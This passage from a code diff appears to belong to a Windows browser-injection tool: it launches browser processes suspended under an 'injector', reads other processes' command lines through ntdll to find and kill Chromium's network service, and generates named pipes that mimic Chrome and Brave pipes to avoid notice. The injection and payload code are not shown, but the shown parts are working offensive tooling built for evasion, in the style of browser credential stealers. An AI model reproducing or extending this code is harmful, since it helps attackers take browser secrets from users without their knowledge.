native_machine : process_arch;
|
||||
|
||||
USHORT injector_arch =
|
||||
#if defined(_M_X64)
|
||||
IMAGE_FILE_MACHINE_AMD64;
|
||||
#elif defined(_M_ARM64)
|
||||
IMAGE_FILE_MACHINE_ARM64;
|
||||
#elif defined(_M_IX86)
|
||||
IMAGE_FILE_MACHINE_I386;
|
||||
#else
|
||||
IMAGE_FILE_MACHINE_UNKNOWN;
|
||||
#endif
|
||||
|
||||
return target->arch == injector_arch;
|
||||
}
|
||||
|
||||
bool target_create_suspended(TargetProcess* target, const wchar_t* exe_path) {
|
||||
if (!target || !exe_path) return false;
|
||||
|
||||
memset(target, 0, sizeof(TargetProcess));
|
||||
|
||||
STARTUPINFOW si = { 0 };
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
si.cb = sizeof(si);
|
||||
|
||||
if (!CreateProcessW(exe_path, NULL, NULL, NULL, FALSE,
|
||||
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
target->process = pi.hProcess;
|
||||
target->thread = pi.hThread;
|
||||
target->pid = pi.dwProcessId;
|
||||
|
||||
if (!check_architecture(target)) {
|
||||
target_cleanup(target);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void target_terminate(TargetProcess* target) {
|
||||
if (!target || !target->process) return;
|
||||
|
||||
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
|
||||
if (ntdll) {
|
||||
NtTerminateProcess_t pNtTerminateProcess =
|
||||
(NtTerminateProcess_t)GetProcAddress(ntdll, "NtTerminateProcess");
|
||||
if (pNtTerminateProcess) {
|
||||
pNtTerminateProcess(target->process, 0);
|
||||
}
|
||||
}
|
||||
else {
|
||||
TerminateProcess(target->process, 0);
|
||||
}
|
||||
|
||||
WaitForSingleObject(target->process, 2000);
|
||||
}
|
||||
|
||||
void target_cleanup(TargetProcess* target) {
|
||||
if (!target) return;
|
||||
|
||||
if (target->thread) {
|
||||
CloseHandle(target->thread);
|
||||
target->thread = NULL;
|
||||
}
|
||||
|
||||
if (target->process) {
|
||||
CloseHandle(target->process);
|
||||
target->process = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
bool target_kill_network_service(const wchar_t* process_name) {
|
||||
if (!process_name) return false;
|
||||
|
||||
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
|
||||
if (!ntdll) return false;
|
||||
|
||||
NtGetNextProcess_t pNtGetNextProcess = (NtGetNextProcess_t)GetProcAddress(ntdll, "NtGetNextProcess");
|
||||
NtQueryInformationProcess_t pNtQueryInformationProcess = (NtQueryInformationProcess_t)GetProcAddress(ntdll, "NtQueryInformationProcess");
|
||||
NtReadVirtualMemory_t pNtReadVirtualMemory = (NtReadVirtualMemory_t)GetProcAddress(ntdll, "NtReadVirtualMemory");
|
||||
NtTerminateProcess_t pNtTerminateProcess = (NtTerminateProcess_t)GetProcAddress(ntdll, "NtTerminateProcess");
|
||||
|
||||
if (!pNtGetNextProcess || !pNtQueryInformationProcess ||
|
||||
!pNtReadVirtualMemory || !pNtTerminateProcess) {
|
||||
return false;
|
||||
}
|
||||
|
||||
HANDLE current_process = NULL;
|
||||
bool found = false;
|
||||
|
||||
while (true) {
|
||||
HANDLE next_process = NULL;
|
||||
NTSTATUS status = pNtGetNextProcess(current_process, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, 0, 0, &next_process);
|
||||
|
||||
if (current_process) {
|
||||
CloseHandle(current_process);
|
||||
current_process = NULL;
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status)) break;
|
||||
|
||||
current_process = next_process;
|
||||
|
||||
BYTE buffer[sizeof(UNICODE_STRING) + MAX_PATH * 2];
|
||||
PUNICODE_STRING image_name = (PUNICODE_STRING)buffer;
|
||||
|
||||
status = pNtQueryInformationProcess(current_process, ProcessImageFileName, image_name, sizeof(buffer), NULL);
|
||||
|
||||
if (!NT_SUCCESS(status) || image_name->Length == 0) continue;
|
||||
|
||||
wchar_t* filename = image_name->Buffer;
|
||||
for (wchar_t* p = image_name->Buffer + (image_name->Length / sizeof(wchar_t)) - 1; p > image_name->Buffer; p--) {
|
||||
if (*p == L'\\' || *p == L'/') {
|
||||
filename = p + 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (_wcsicmp(filename, process_name) != 0) continue;
|
||||
|
||||
PROCESS_BASIC_INFORMATION pbi = { 0 };
|
||||
status = pNtQueryInformationProcess(current_process, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
|
||||
|
||||
if (!NT_SUCCESS(status) || !pbi.PebBaseAddress) continue;
|
||||
|
||||
PEB peb = { 0 };
|
||||
SIZE_T bytes_read = 0;
|
||||
status = pNtReadVirtualMemory(current_process, pbi.PebBaseAddress, &peb, sizeof(peb), &bytes_read);
|
||||
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
RTL_USER_PROCESS_PARAMETERS params = { 0 };
|
||||
status = pNtReadVirtualMemory(current_process, peb.ProcessParameters, ¶ms, sizeof(params), &bytes_read);
|
||||
|
||||
if (!NT_SUCCESS(status)) continue;
|
||||
|
||||
if (params.CommandLine.Length > 0) {
|
||||
wchar_t* cmd_line = malloc(params.CommandLine.Length + sizeof(wchar_t));
|
||||
if (cmd_line) {
|
||||
memset(cmd_line, 0, params.CommandLine.Length + sizeof(wchar_t));
|
||||
|
||||
status = pNtReadVirtualMemory(
|
||||
current_process,
|
||||
params.CommandLine.Buffer,
|
||||
cmd_line,
|
||||
params.CommandLine.Length,
|
||||
&bytes_read
|
||||
);
|
||||
|
||||
if (NT_SUCCESS(status)) {
|
||||
if (wcsstr(cmd_line, L"--utility-sub-type=network.mojom.NetworkService")) {
|
||||
pNtTerminateProcess(current_process, 0);
|
||||
found = true;
|
||||
}
|
||||
}
|
||||
|
||||
free(cmd_line);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (current_process) {
|
||||
CloseHandle(current_process);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
Executable
+93
@@ -0,0 +1,93 @@
|
||||
#include "utils.h"
|
||||
#include <stdio.h>
|
||||
#include <ctype.h>
|
||||
|
||||
bool generate_browser_mimic_pipe_name(const wchar_t* browser_type, wchar_t* pipe_name, size_t len) {
|
||||
if (!browser_type || !pipe_name) return false;
|
||||
|
||||
DWORD pid = GetCurrentProcessId();
|
||||
DWORD tid = GetCurrentThreadId();
|
||||
DWORD tick = GetTickCount();
|
||||
|
||||
DWORD id1 = (pid ^ tick) & 0xFFFF;
|
||||
DWORD id2 = (tid ^ (tick >> 16)) & 0xFFFF;
|
||||
DWORD id3 = ((pid << 8) ^ tid) & 0xFFFF;
|
||||
|
||||
wchar_t browser_lower[64];
|
||||
wcsncpy_s(browser_lower, 64, browser_type, _TRUNCATE);
|
||||
for (wchar_t* p = browser_lower; *p; p++) {
|
||||
*p = towlower(*p);
|
||||
}
|
||||
|
||||
if (wcscmp(browser_lower, L"chrome") == 0) {
|
||||
const wchar_t* patterns[] = {
|
||||
L"\\\\.\\pipe\\chrome.sync.%u.%u.%04X",
|
||||
L"\\\\.\\pipe\\chrome.nacl.%u_%04X",
|
||||
L"\\\\.\\pipe\\mojo.%u.%u.%04X.chrome"
|
||||
};
|
||||
int idx = (id1 + id2) % 3;
|
||||
|
||||
if (idx == 1) {
|
||||
swprintf_s(pipe_name, len, patterns[idx], id1, id3);
|
||||
}
|
||||
else {
|
||||
swprintf_s(pipe_name, len, patterns[idx], id1, id2, id3);
|
||||
}
|
||||
}
|
||||
else if (wcscmp(browser_lower, L"brave") == 0) {
|
||||
const wchar_t* patterns[] = {
|
||||
L"\\\\.\\pipe\\brave.sync.%u.%u",
|
||||
L"\\\\.\\pipe\\mojo.%u.%u.brave",
|
||||
L"\\\\.\\pipe\\brave.crashpad_%u"
|
||||
};
|
||||
int idx = id3 % 3;
|
||||
|
||||
if (idx == 2) {
|
||||
swprintf_s(pipe_name, len, patterns[idx], id1);
|
||||
}
|
||||
else {
|
||||
swprintf_s(pipe_name, len, patterns[idx], id1, id2);
|
||||
}
|
||||
}
|
||||
else {
|
||||
swprintf_s(pipe_name, len, L"\\\\.\\pipe\\chromium.ipc.%u.%u", id1, id2);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool create_directory_recursive(const wchar_t* path) {
|
||||
if (!path) return false;
|
||||
|
||||
wchar_t temp[MAX_PATH_LEN];
|
||||
wcsncpy_s(temp, MAX_PATH_LEN, path, _TRUNCATE);
|
||||
|
||||
for (wchar_t* p = temp; *p; p++) {
|
||||
if (*p == L'/' || *p == L'\\') {
|
||||
wchar_t saved = *p;
|
||||
*p = L'\0';
|
||||
|
||||
DWORD attrs = GetFileAttributesW(temp);
|
||||
if (attrs == INVALID_FILE_ATTRIBUTES) {
|
||||
if (!CreateDirectoryW(temp, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
*p = saved;
|
||||
}
|
||||
}
|
||||
|
||||
DWORD attrs = GetFileAttributesW(temp);
|
||||
if (attrs == INVALID_FILE_ATTRIBUTES) {
|
||||
return CreateDirectoryW(temp, NULL) || GetLastError() == ERROR_ALREADY_EXISTS;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool file_exists(const wchar_t* path) {
|
||||
if (!path) return false;
|
||||
DWORD attrs = GetFileAttributesW(path);
|
||||
return (attrs != INVALID_FILE_ATTRIBUTES && !(attrs & FILE_ATTRIBUTE_DIRECTORY));
|
||||
}
|
||||
Reference in New Issue
Block a user